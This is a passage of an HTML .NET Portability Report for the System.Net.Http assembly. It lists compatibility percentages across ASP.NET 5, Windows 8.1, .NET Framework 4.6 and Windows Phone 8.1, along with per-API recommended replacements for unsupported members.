url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABQElEQVR4XqWTvUoEQRCE6wYPZUA80AfwAQz23uCMjA7MDRQEIzPBVEyNTQUFIw00vcQTTMzuAh/AxEQQT8HF/3G/oGGnEUGuoNnd6qoZuqltyKEsyzVJq5I6rnUp6SjGeGhESikzzlc1eL7opfuVbrqbU1Zw9NCgtQMaZpY0eNnaaL2fHusvTK5vKu7sjSS1Y4y3QUA6K3e3Mau5UFDyMP7tYF9o8cAHZv68vipoIJg971PZIZ5HiwdvYGGvFVFHmGmZ2MxwmQYPXubPl9Up0tfoMQGetXd6mRbvhBw+boZ6WF7Mbv1+GsHRk0fQmPAH1GfmZirbCfDJ61tw3Px8/8pZsPAG4jlVhcPgZ7adwNWBB68lkRQWFiTgFlbnLY3DGGM7izIJIyT/jjIvEJw6fdJTc6krDzh6aMwMP9bvDH4ADSsa9uSWVJkAAAAASUVORK5CYII=); } </style> </head> <body> <h1 _locid="PortabilityReport">.NET Portability Report</h1> <div id="content"> <div id="submissionId" style="font-size:8pt;"> <p> <i> Submission Id&nbsp; e4ed6ab8-c844-4c3f-89cb-6d335214afa2 </i> </p> </div> <h2 _locid="SummaryTitle"> <a name="Portability Summary"></a>Portability Summary </h2> <div id="summary"> <table> <tbody> <tr> <th>Assembly</th> <th>ASP.NET 5,Version=v1.0</th> <th>Windows,Version=v8.1</th> <th>.NET Framework,Version=v4.6</th> <th>Windows Phone,Version=v8.1</th> </tr> <tr> <td><strong><a href="#System.Net.Http">System.Net.Http</a></strong></td> <td class="text-center">88.25 %</td> <td class="text-center">81.33 %</td> <td class="text-center">100.00 %</td> <td class="text-center">81.33 %</td> </tr> </tbody> </table> </div> <div id="details"> <a name="System.Net.Http"><h3>System.Net.Http</h3></a> <table> <tbody> <tr> <th>Target type</th> <th>ASP.NET 5,Version=v1.0</th> <th>Windows,Version=v8.1</th> <th>.NET Framework,Version=v4.6</th> <th>Windows Phone,Version=v8.1</th> <th>Recommended changes</th> </tr> <tr> <td>System.AppDomain</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use object with finalizer stored in static variable, or use app-model specific unload notifications (e.g. Application.Suspending event for modern apps)</td> </tr> <tr> <td style="padding-left:2em">add_DomainUnload(System.EventHandler)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use object with finalizer stored in static variable, or use app-model specific unload notifications (e.g. Application.Suspending event for modern apps)</td> </tr> <tr> <td style="padding-left:2em">add_ProcessExit(System.EventHandler)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use object with finalizer stored in static variable, or use app-model specific unload notifications (e.g. Application.Suspending event for modern apps)</td> </tr> <tr> <td style="padding-left:2em">add_UnhandledException(System.UnhandledExceptionEventHandler)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage</td> </tr> <tr> <td style="padding-left:2em">get_CurrentDomain</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Collections.Hashtable</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">#ctor</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_Item(System.Object)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">GetEnumerator</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">Remove(System.Object)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">set_Item(System.Object,System.Object)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Collections.Specialized.NameObjectCollectionBase</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_Count</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Collections.Specialized.NameValueCollection</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">Add(System.String,System.String)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">GetKey(System.Int32)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">GetValues(System.Int32)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Collections.Specialized.StringDictionary</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">ContainsKey(System.String)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_Item(System.String)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">set_Item(System.String,System.String)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Diagnostics.SourceSwitch</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">ShouldTrace(System.Diagnostics.TraceEventType)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Diagnostics.TraceEventType</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Diagnostics.TraceSource</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">#ctor(System.String)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">Close</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_Attributes</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_Switch</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">TraceEvent(System.Diagnostics.TraceEventType,System.Int32,System.String)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Exception</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage.</td> </tr> <tr> <td style="padding-left:2em">add_SerializeObjectState(System.EventHandler{System.Runtime.Serialization.SafeSerializationEventArgs})</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage.</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.ICloneable</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage. Implement cloning operation yourself if needed.</td> </tr> <tr> <td style="padding-left:2em">Clone</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage. Implement cloning operation yourself if needed.</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.IO.MemoryStream</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use an overload that supplies a buffer and maintain that buffer outside of memory stream. If you need the internal buffer, create a copy via .ToArray();</td> </tr> <tr> <td style="padding-left:2em">GetBuffer</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use an overload that supplies a buffer and maintain that buffer outside of memory stream. If you need the internal buffer, create a copy via .ToArray();</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.IO.Stream</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use Stream.WriteAsync</td> </tr> <tr> <td style="padding-left:2em">BeginRead(System.Byte[],System.Int32,System.Int32,System.AsyncCallback,System.Object)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use Stream.ReadAsync</td> </tr> <tr> <td style="padding-left:2em">BeginWrite(System.Byte[],System.Int32,System.Int32,System.AsyncCallback,System.Object)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use Stream.WriteAsync</td> </tr> <tr> <td style="padding-left:2em">Close</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use Dispose instead</td> </tr> <tr> <td style="padding-left:2em">EndRead(System.IAsyncResult)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use Stream.ReadAsync</td> </tr> <tr> <td style="padding-left:2em">EndWrite(System.IAsyncResult)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use Stream.WriteAsync</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.HttpVersion</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">Version10</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">Version11</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.HttpWebRequest</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClientHandler.SetAutomaticDecompression(System.Net.DecompressionMethods)</td> </tr> <tr> <td style="padding-left:2em">AddRange(System.Int64)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">AddRange(System.Int64,System.Int64)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">EndGetRequestStream(System.IAsyncResult,System.Net.TransportContext@)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_ServicePoint</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Not supported - connections and connection groups are managed internally by the HTTP stack</td> </tr> <tr> <td style="padding-left:2em">set_AllowAutoRedirect(System.Boolean)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClientHandler.AllowAutoRedirect</td> </tr> <tr> <td style="padding-left:2em">set_AutomaticDecompression(System.Net.DecompressionMethods)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClientHandler.SetAutomaticDecompression(System.Net.DecompressionMethods)</td> </tr> <tr> <td style="padding-left:2em">set_Connection(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpResponseMessage.Headers.Connection.Add(System.String)</td> </tr> <tr> <td style="padding-left:2em">set_Date(System.DateTime)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">set_Expect(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http. HttpClient.DefaultRequestHeaders.Expect (applies to all requests made by that client) or System.Net.Http.HttpRequestMessage.Headers.Expect (applies to specific request)</td> </tr> <tr> <td style="padding-left:2em">set_Host(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">set_IfModifiedSince(System.DateTime)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClient.DefaultRequestHeaders.IfModifiedSince (applies to all requests made by that client) or System.Net.Http.HttpRequestMessage.Headers.IfModifiedSince (applies to specific request)</td> </tr> <tr> <td style="padding-left:2em">set_KeepAlive(System.Boolean)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpResponseMessage.Headers.Connection.Add(&quot;Keep-Alive&quot;)</td> </tr> <tr> <td style="padding-left:2em">set_MaximumAutomaticRedirections(System.Int32)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClientHandler.MaxAutomaticRedirections</td> </tr> <tr> <td style="padding-left:2em">set_ProtocolVersion(System.Version)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpRequestMessage.Version</td> </tr> <tr> <td style="padding-left:2em">set_Referer(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpRequestMessage.Headers.Referrer</td> </tr> <tr> <td style="padding-left:2em">set_SendChunked(System.Boolean)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Add &quot;chunked&quot; to System.Net.Http.HttpClient.DefaultRequestHeaders.TransferEncoding (applies to all requests made by that client) or System.Net.Http.HttpRequestMessage.Headers.TransferEncoding(applies to specific request)</td> </tr> <tr> <td style="padding-left:2em">set_TransferEncoding(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http. HttpClient.DefaultRequestHeaders.TransferEncoding (applies to all requests made by that client) or System.Net.Http.HttpRequestMessage.Headers.TransferEncoding(applies to specific request)</td> </tr> <tr> <td style="padding-left:2em">set_UserAgent(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClient.DefaultRequestHeaders.UserAgent (applies to all requests made by that client) or System.Net.Http.HttpRequestMessage.Headers.UserAgent (applies to specific request)</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.HttpWebResponse</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_ProtocolVersion</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.IPAddress</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.IPEndPoint</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.Mail.MailAddress</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">#ctor(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.NetworkAccess</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.ServicePoint</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClient, System.Net.Http.HttpClientHandler and System.Net.Http.WinHttpHandler types instead</td> </tr> <tr> <td style="padding-left:2em">CloseConnectionGroup(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClient, System.Net.Http.HttpClientHandler and System.Net.Http.WinHttpHandler types instead</td> </tr> <tr> <td style="padding-left:2em">set_Expect100Continue(System.Boolean)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Not supported. Expect: 100-Continue is turned off always.</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.ServicePointManager</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.HttpClient or WinHttpHandler instead.</td> </tr> <tr> <td style="padding-left:2em">FindServicePoint(System.Uri)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.WebPermission</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">#ctor(System.Net.NetworkAccess,System.Text.RegularExpressions.Regex)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Net.WebRequest</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">CreateDefault(System.Uri)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">set_ConnectionGroupName(System.String)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Not supported - connections and connection groups are managed internally by the HTTP stack</td> </tr> <tr> <td style="padding-left:2em">set_ContentLength(System.Int64)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpContent.Headers.ContentLength</td> </tr> <tr> <td style="padding-left:2em">set_PreAuthenticate(System.Boolean)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.WinHttpHandler.PreAuthenticate</td> </tr> <tr> <td style="padding-left:2em">set_Timeout(System.Int32)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Use System.Net.Http.HttpClient.Timeout. More granular timeouts available: Use System.Net.Http.WinHttpHandler.ConnectTimeout, .ReceiveTimeout, .SendTimeout</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Reflection.Assembly</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage: As CAS is not supported in newer frameworks, this property no longer has meaning</td> </tr> <tr> <td style="padding-left:2em">get_IsFullyTrusted</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage: As CAS is not supported in newer frameworks, this property no longer has meaning</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Runtime.Serialization.ISafeSerializationData</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>either 1) Delete Serialization info from exceptions (since this can&#39;t be remoted) or 2) Use a different serialization technology if not for exceptions.</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Runtime.Serialization.SafeSerializationEventArgs</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>either 1) Delete Serialization info from exceptions (since this can&#39;t be remoted) or 2) Use a different serialization technology if not for exceptions.</td> </tr> <tr> <td style="padding-left:2em">AddSerializedState(System.Runtime.Serialization.ISafeSerializationData)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>either 1) Delete Serialization info from exceptions (since this can&#39;t be remoted) or 2) Use a different serialization technology if not for exceptions.</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Security.CodeAccessPermission</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage</td> </tr> <tr> <td style="padding-left:2em">Demand</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Security.Permissions.SecurityAction</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Security.Permissions.SecurityPermissionAttribute</td> <td 